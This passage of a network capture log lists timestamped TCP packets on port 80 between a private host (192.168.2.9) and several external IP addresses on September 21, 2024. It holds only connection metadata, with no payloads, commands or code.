Sep 21, 2024 13:33:41.361780882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361793041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361797094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361812115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361826897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361835957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361835957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361840963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361855984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361871004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361886024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361891985 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361891985 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361898899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361924887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361933947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362005949 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362679005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362694979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362708092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362721920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362737894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362741947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362741947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362751961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362766981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362782001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362792015 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362792015 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362797022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362812996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362812996 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362828016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362842083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362857103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362857103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362857103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362871885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362885952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362900972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362906933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362906933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362916946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362931013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362946033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.362950087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.362950087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363009930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363617897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363632917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363648891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363662004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363678932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363679886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363679886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363693953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363708973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363713026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363713026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363723040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363739014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363745928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363745928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363754988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363766909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363770962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363785982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363800049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363804102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363804102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363816023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363823891 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363832951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363846064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.363867044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363867044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.363908052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.364229918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.364304066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.364315987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.364320040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.364358902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.364358902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.364372969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.364387989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.364427090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.364427090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.408088923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408108950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408126116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408231974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408248901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408263922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408292055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.408292055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.408339977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.408436060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.408478975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446454048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446490049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446506023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446521044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446537971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446553946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446571112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446585894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446597099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446597099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446602106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446626902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446672916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446690083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446799994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446815968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446830034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446844101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446852922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446861029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446882010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446882963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446902990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446921110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446921110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446921110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446943045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446963072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.446973085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446973085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.446984053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447010040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447010040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447030067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447310925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447330952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447351933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447370052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447374105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447402954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447402954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447411060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447417974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447432041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447452068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447459936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447472095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447489977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447489977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447493076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447535038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447535038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447741032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447761059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447782040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447801113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447812080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447812080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447822094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447841883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447845936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447845936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447863102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.447881937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447881937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.447978973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448203087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448223114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448241949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448261023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448271036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448271990 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448281050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448287010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448299885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448318005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448318005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448321104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448338985 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448340893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448360920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448379993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448385000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448385954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448400021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448404074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448419094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448437929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448438883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448438883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448460102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448478937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448478937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448479891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448497057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448501110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448518038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448522091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448544025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448561907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448561907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448606968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448903084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448921919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448940039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448959112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.448973894 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448973894 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.448980093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449003935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449003935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449022055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449073076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449095011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449111938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449131012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449141026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449141026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449152946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449171066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449171066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449172974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449192047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449212074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449212074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449212074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449230909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449248075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449248075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449249983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449265957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449268103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449287891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449295998 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449309111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449310064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449328899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449345112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449345112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449348927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449367046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449369907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449400902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449400902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449918032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449938059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449954987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449971914 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.449973106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.449994087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450011969 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450011969 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450023890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450041056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450043917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450062990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450081110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450081110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450083017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450097084 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450102091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450120926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450134039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450139999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450150013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450160980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450171947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450180054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450187922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450200081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450201035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450222015 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450222015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450246096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450263977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450263977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450264931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450284004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450304031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450304031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450304031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450326920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450485945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450894117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450913906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450933933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450951099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450953960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450967073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450973988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.450987101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.450994968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.451003075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451015949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.451016903 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451035976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.451056004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.451064110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451064110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451076031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.451091051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451096058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.451106071 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451127052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.451141119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.479156971 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479193926 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479211092 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479227066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479244947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479262114 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479262114 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.479278088 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479298115 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479319096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.479355097 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.479496002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479517937 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.479562998 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.479599953 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.483829021 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.483935118 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.484131098 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.486641884 CEST	80	49718	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:41.486730099 CEST	49718	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.486982107 CEST	49718	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.487394094 CEST	49722	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.489789963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490211964 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490299940 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.490366936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490381956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490416050 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.490441084 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.490542889 CEST	80	49709	147.45.44.104	192.168.2.9
